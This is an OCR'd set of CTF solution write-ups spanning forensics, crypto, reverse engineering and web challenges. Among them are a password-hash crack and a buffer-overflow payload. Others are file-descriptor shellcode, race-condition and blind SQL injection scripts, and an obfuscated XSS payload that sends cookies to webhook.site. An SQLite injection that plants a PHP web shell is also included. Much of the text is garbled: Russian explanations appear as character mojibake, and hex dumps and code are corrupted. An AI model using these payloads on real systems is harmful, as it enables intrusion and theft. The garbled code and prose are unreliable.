Apache Cassandra (Forensics)

1. First of all, we need to scan site with dirb:

GENERATED WORDS: 4612

---- Scanning URL: http://127.0.0.1/ ----

+ http://127.60.9.1/backup (CODE:401|SIZE:381)
+ http://127.0.0.1/index.html (CODE:200|SIZE:231)

2.
3. We found backup. Let us try to access:
*» Authentication Required - Mozilla Firefox
, http://localhost is requesting your username and password. The site says: “Password-protected
Area”
User Name:
Password:
Cancel
4.

5. If we try to bruteforce various combinations of htpasswd and htaccess backup files, we
could find file called htpasswd.bak:
6. admin:$apri$alc9rfu7$0bbf8z3MYb.hpZOFdxgKW.

7. Time to bruteforce password using rockyou. txt:
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cassandra ( )
1g 0:00:00:00 DONE (2021-02-18 08:53) 33.33g/s 83200p/s 83200c/s 83200C/s chacha..help
Use the "--show" option to display all of the cracked passwords reliably
[sJ Session completed
9. So we can download backup file from server with credentials: admin:cassandra:
file backup
backup: Squashfs filesystem, little endian, version 4.0, zlib compressed, 747 bytes, 2 inodes, blocksize:
10 131072 bytes, created: Thu Feb 18 13:22:46 2021

11.Time to unpack Squashfs:
—$ unsquashfs backup
Parallel unsquashfs: Using 4 processors
1 inodes (1 blocks) to write

created 1 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos

12.
13.And obtain the flag:

14.CTF{D474BA535_0R_07H3r_cR3dZ_5h0UIDn7_B3_h3r3}



Think like Socrates (Forensics)

1. We have pcapng capture file. Let us analyze it with wireshark

Destinatio £ Wireshark- Export - HTTP object list
68 TSval=1700607770 TSecr=170(
Text Filter: Content Type: All Content-Types ~ € 32768 TSval=17

536 Len=32768 TSval=1

1=1700607770 TSecr=1700607770
Packet ~ Hostname Content Type Size  Filename 768 TSval=1700607770 TSecr=17(
32 localhost application/x-7z-compressed 408kB flag.7z Sval=1700607770 TSecr=1700607
768 TSval=1700607770 TSecr=17(
Sval=1700607770 TSecr=1700607"

Wi 36 Len=32768 TSval=1
1=1700607770 TSecr=1700607770
Sval=1700607770 TSecr=1700607"
768 TSval=1700607770 TSecr=17(

21688 bits), 1521

:00 (00:00:00:00:/

e DS Sk

rc Port: 80,

8341 bytes): 12768), #27(32768), #28(32768)
[

Save All

w

flag.7z: Apple DiskCopy 4.2 image
Ox0 format

vk

File has .7z extension, but file program says that header is different...

6. Let us simply fix the header:
00000000
00000014
00000028
0000003C
00000050
00000064
00000078
0000008C
000000A0
000000B4

00000000 FF D8 FF EO 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 60 00 ......JFIF..... i
00000014 FF E1 00 22 45 78 69 66 00 00 4D 4D 00 2A 00 00 00 08 60 01 ..."Exif..MM.*......
00000028 01 12 00 03 00 60 60 61 00 01 0O GO 00 00 00 G0 FF DB 00 43 ...................
0000003C G B 6 00 B SO HEE S
00000050 03 03 06 04 04 03 05 07 06 07 67 67 06 07 07 08 09 6B 09 08 ....................
00000064 08 OA 08 07 ©7 OA 6D OA OA 6B OC 6C OC OC 67 09 OE OF OD OC .........covviiunnnn.
00000078 oD o C T
0000008C OC 08 07 08 0OC 6C 6C 6C OC 6C 6C 6C 0OC OC OC OC OC O6C 6C OC ...vvvvurvnennennnnn
000BO0ABNECE T OCEOCHICAOCHOCEOCTOCIOCDCHACHOC MOC 0C DCHOCIN OCHOE BC  0C I o e e
000000B4 OC OC OC OC OC 6C 6C 6C 0O6C 6C 6C 6C 0OC OC FF CO 00 11 08 02 ......cvviuvnnennnnn

9 File name: flag.jpgll
10.In the image we see an image of a Greek philosopher Socrates who points to a line.



HGQ{I34a0_W1570Av_a34liV}

12.We can try different polyalphabetic C|phers and f|nd that itis Afflne cipher.
A=3,B=6 JAM{S34yu_01570Yf_y34SsF}

A=1,B=7 AZ]1{B34th_P1570To_t34Bb0}
A=7,B=22 JUO{Y341k_A1570I71_134YyL}
A=23,B=20 NWK{E34yc_TI1570Yr_y34EeR}
A=15,B=12 RKC{Y34uo_S1570UT _u34YylL}
13.A=19,8=22 RGM{C34sq_A1570Sp_s34CcP}
14.And obtain the flag: CTF{L34rn_H1570Ry_r34LIY}



TrueNotEncrypt (Forensics)

1. First of all, we need to unpack archive with unxz.

2. We need to analyze disk image. Let us use testdisk:
Directory /

4. We can recover files:
® /home/kali/extracted
file run.exe
run.exe: data

® /home/kali/extracted
file UN32\~1.DLL
 UN32~1.DLL: ASCII text

® /home/kali/extracted
cat UN32\~1.DLL
7WzENpOXjmg8t93F8FpOp+Zv3eB1lTIb1lmtp2CX1Q/ zk=

® /home/kali/extracted

5.
6. First file seems like a random data. But second file is simple ASCII text.
7. If we remain task name, we could try to open file run.exe with a password from text

file.

And we open hidden TrueCrypt container:
3 TrueCrypt

Volumes Favorites Tools Settings Help

Slot  Volume Size Mount Directory Type
w1 /home/kali/run.exe 11.9 MB /media/truecryptl Hidden
- )

- 3

w4

-5

-6

L

» 8

=9

= 10

-]l

w12

Create Volume Volume Properties...
Volume

202 /home/kali/run.exe Select File...

~ ¥ Never save history Volume Tools... Select Device...

Dismount Auto-Mount Devices Dismount All

9.
10.And we get flag from image file:

11.CTF{for3n51c5_15_41W4dy5 4_107_Of_1n7ul710n_4Nd_4_107_of_3xp3ril3nc3}



Stringer (Binary Exploitation)
Overflowing a string field in a String structure overwrites the print function pointer.

Payload:

p = b'A'*132 + b'\x73\x13\x40\x00\x00\x00\x00"' # 0x401373

CTF{_345Y_pwn_c@0l__ @W3RFLOW_}

Shellcoding (Binary Exploitation)

First, write the shellcode to dump the binary.

mov rax, 1

mov rdi, 1

mov rsi, 0x400000
mov rdx, 0x4000
syscall

After static analysis, we see that the file flag.txt has been opened.
If we know the fd of an open file, we can read its contents.
We can write a simple shell that bruteforces fd.

mov rl5, 3

loop:
mov rax, ©
mov rdi, ri5
mov rsi, 0x404300
mov rdx, 100
syscall

mov rax, 1

mov rdi, 1

mov rsi, 0x404300
mov rdx, 100
syscall

inc ri15
cmp rl5, 10
jle loop

ret

CTF{_noT_50_H4rD_sH3Llcode }

Strange number (Crypto)

Tupper formula.
https://tuppers-formula.ovh/

FLAG: CTF{TUpp3R_CRupt0}


https://tuppers-formula.ovh/

ProRev (Reverse Engineering)

#!/usr/bin/env python3
import math
import random

def lcm(a, b):
return abs(a*b) // math.gcd(a, b)

def factorize(n):

d =[]
m = '{}abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "'
for t in m:

i = ord(t)

ifn%i-==

d.append(i)

return d

flag = "CTF{FINALLY_YOu_gOt_7h3 EpilLogu3}"
assert(len(flag) == 33)

1=1]

f [ord(i) for i in flag]

for i in range(len(f)-1):
l.append(lcm(f[i],f[i+1]))

xors = [5556, 404, 8677, 8647, 4996, 5729, 509, 4990, O, 6710, 8558, 8574, 4301, 1854,
11039, 9730, 8086, 9206, 11124, 1139, 5738, 5313, 4746, 6568, 7689, 1730, 8027, 8372,
11475, 12066, 1951, 6360]

for i in range(len(l)):
1[i] ~= xors[i]

tmpa = [chr(i) for i in 1]
print('Encrypted: ',tmpa,'\n',1)
print()

for i in range(len(l)):
1[i] ~= xors[i]

variants = [factorize(i) for i in 1]
o = [[ord('C")]]
for i in range(len(variants)):

tmp = []

for j in variants[i]:

for k in o[i]:
if lem(j, k) == 1[i] and j not in tmp:
tmp.append(j)
o.append(tmp)

print('Decrypted variants:')
for i in o:
tmp = []
for j in 1i:
tmp.append(chr(j))
print(tmp)

®nar CTF{FINALLY_YOu_gOt_7h3_EpiLogu3}



Waves (Reverse Engineering)

o Open the executable in some disassembler, see that it writes some encrypted message
(flag) in the audio file

o Flag is encrypted using 3DES algorithm, we know all keys (they are similar). After that it
is written by some offsets in audio file samples using different channels

o We should write decryptor for the file:

#include <iostream>
#include "AudioFile.h"
#include <openssl/des.h>
#include <cstring>
#include <cstdlib>
#include <cmath>

using namespace std;
AudioFile<double> audioFile;

DES_cblock Keyl

{ OxAD, OxAE, OXAE, OxAE, OxAD, OxAE, OXAE, OxAE };
DES_cblock Key2 { OxAD, OxXAE, OXAE, OxAE, OxAD, OxAE, OxAE, OxAE };
DES_cblock Key3 { OxAD, OxAE, OXAE, OxAE, OxAD, OxAE, OxAE, OxAE };
DES_key_schedule SchKeyl,SchKey2,SchKey3;

DES_cblock cblock = { Ox00, Ox00, 0x00, Ox00, Ox00, Ox00, Ox00, Ox00 ;;

int main(int argc, char *argv[]){
if (argc = 2) {
cout << "Usage:\n./decrypt <input file>" << endl;
return 9;
}
audioFile.load(argv[1]);
int numChannels = audioFile.getNumChannels();

int channel = 0;
int numSamples = audioFile.getNumSamplesPerChannel();
int ¢ = 0;
char* cipher(new char[32]);
memset (cipher,0,32);
for (int i = 1337; i < numSamples; i += Oxb33f)
{
if (c == 32)
break;
double tmp = audioFile.samples|[channel][i];
cipher[c] = (unsigned char)(round(tmp * 1000));
C++;
channel = (channel + 1) % numChannels;

}

cout << endl;

char* text(new char[32]);
memset(text,0,32);

DES_set_odd parity(&cblock);

if (DES_set key checked(&Keyl, &SchKeyl) || DES_set key checked(&Key2, &SchKey2) ||
DES_set key checked(&Key3, &SchKey3)) {
printf("Key error, exiting ....\n");
return 1;

}

memset(cblock,9,sizeof (DES_cblock));
DES_set_odd parity(&cblock);

DES_ede3_cbc_encrypt((const unsigned char*)cipher,



(unsigned char*)text,
32, &SchKeyl, &SchKey2, &SchKey3,
&cblock,DES_DECRYPT);
printf("Decrypted : %s\n",text);

return 0;

}
®nar CTF{R3vPIU5St3g0L0ve}

InnoLang (PPC)
Otet: CTF{345y_pr06_l4n6}

PeweHwne: CTaHAapTHas napoaus Ha bpeliHdak. CaMoe NPoOCToe pelleHne - nepeBecTy BCe
GyHKLMM B BpeliHbak 1 MHTepNpeTMpoBaTh ero Ha JIt06OM OHJIalH pecypce.

NeuroBrain (PPC)
OtBet: CTF{br41nfuck_m3_mOr3}

PeweHune: CepBuUC reHepnpoBan ciyvyanHoe CNOBO M B OTBET XJAa 3TO Xe CN0BO, HO Ha fA3blke
brainfuck. Muwem npoctyro nporpammy npeobpasytowyro cnosa B brainfuck-nogobHbin BUA 1
BellaeM 3To Ha cokeTbl, nocse 200 payHaoB noay4vaem ¢nar.

NoSecurity (Web)
OtBeT: CTF{sUch_4 U53fulLL_Fl4w_f@R Hackers}
o Tryto get /admin - there is redirect to http://admin-panel:8080/admin, it seems to be
the local address

e On the main page we see a field to enter the link to the passwords file
o Try to enter http://admin-panel:8080/admin, follow the link and get the flag

Don’t panic (Web)
OtBeT: CTF{go_Go_GPR000014nG}
e Scandirs, find /.git

o Dump it using git-dumper, for example
o Find secret.go and get url /nobodyknowsiamhere with the flag

Faster (Web)

OtBet: CTF{simple_race_condition}



PeweHuve: B cepBuce 6bina 3anoxeHa ya3BMMOCTb BuAa race condition, y4yacTHMKN MOrAu

cAenatb aCMHXPOHHbLIM 3anpoc Ha cTpaHuuy /free n nonyunte 6onee 500 60HycoB, BMecTo
nonoxeHHbix 50. Mpumep akcnaounTta:

"7 " python=

from requests import Session

import random

import string

from multiprocessing.dummy import Pool
from re import findall

pool = Pool(20)
s = Session()
url = '"http://localhost:8060'

def rand():

return ''.join(random.choice(string.ascii_uppercase + string.digits) for in range(5))

def main():
s.post(f"{url}/free")

username = password = rand()

data = {"username":username, "password":password, "submit":"submit"}
s.post(f"{url}/register", data=data)

s.post(f"{url}/login", data=data)

futures = []
for i in range(20):
futures.append(pool.apply_async(main()))

for future in futures:
future.get()

Zen (Web)
OteeT: CTF{4nd_7h3_c10ck_15_71ck1n9}

PeweHune: Ya3BumocTtb knacca Blind SQLi, oagnH 13 BapmaHTOB pelleHns - MCNOAb30BaTb

bYHKUMM 3a4epXKn Ans nojbopa HY>XKHOro cumeona. MoXxHO pewmntb yepes sqlmap mam ¢
NOMOLLbI NOAO0OHOro Koza:

*T T python=

from requests import get
from time import time

from string import printable

flag = ""

counter = 1

url = "http://localhost:8058/index.php?query="
maxRandomBlobSize = 123456789

while True:
for i in printable:
print(f"Trying symbol: {i}")
startTime = time()
get(f"{url}select (CASE WHEN substr(flag,{counter},1)='{i}' THEN randomblob(1234567) ELSE 1 END) from flag")
endTime = time()
if endTime-startTime >= 1:
flag+=1
if i == "}":
print(f"Flag is found: {flag}")
exit(@)
counter += 1

Misconfig (Web)

OteeT: CTF{n91nx_41145_724v32541_c4n_h31p_m3_234d_f149}



Pewenune: Nginx path alias traversal. bein gaH xvHT no agpecy /static/hint.txt, MoxHO 6bI10
nonyunts dGaar cregyrowmum cnocobom:

http://localhost:8088/static../super/secret/place/flag.txt

Storage (Web)
OtBet: CTF{very_bad_admin}

PeweHwne: Stored XSS bypass. CepBuc nckan B CCbiiKe NieBble CaWTbl U alunu agpeca, MOXHO
6b1710 3abaninaccnTb cneayrowmnm obpasom:

“javascript=

<script>eval(String['fromCharCode'](102, 101, 116, 99, 104, 40, 39, 104, 116, 116, 112, 115, 58,
47,47, 119, 101, 98, 104, 111, 111, 107, 46, 115, 105, 116, 101, 47, 97, 99, 51, 53, 102, 51, 102,
56, 45, 56, 50, 98, 98, 45, 52, 99, 57, 50, 45, 98, 52, 56, 102, 45, 51, 52, 101, 52, 98, 56, 50, 53,

102, 99, 56, 98, 63, 99, 61, 39, 32, 43, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 39, 99, 111,
111, 107, 105, 101, 39, 93, 41))</script>

MNocne coxpaHeHMa TakOW 3aMeTKN - OTNPaBAAEM CCbIKY aAMUHY W 3abupaem dnaar 13 Kyku.

Simple Logic (Web)

Oteert: CTF{attach_db_as_php}

PeweHwne: NoakntoueHne php darna kak dpann 6a3bl gaHHbIX yepes SQLI.
MNpumep 3anpoca:

“php=

ATTACH DATABASE '/var/www/html/lol.php" AS lol;CREATE TABLE lol.pwn (dataz text); INSERT
INTO lol.pwn (dataz) VALUES ('<? shell_exec("whoami"); ?>");--

);ATTACH DATABASE '/var/www/html/lol1.php" AS lol1;CREATE TABLE lol1.pwn1 (dataz text);
INSERT INTO lol1.pwn1 (dataz) VALUES ('<?php echo exec("/bin/bash -c 'id"™);; ?>");--



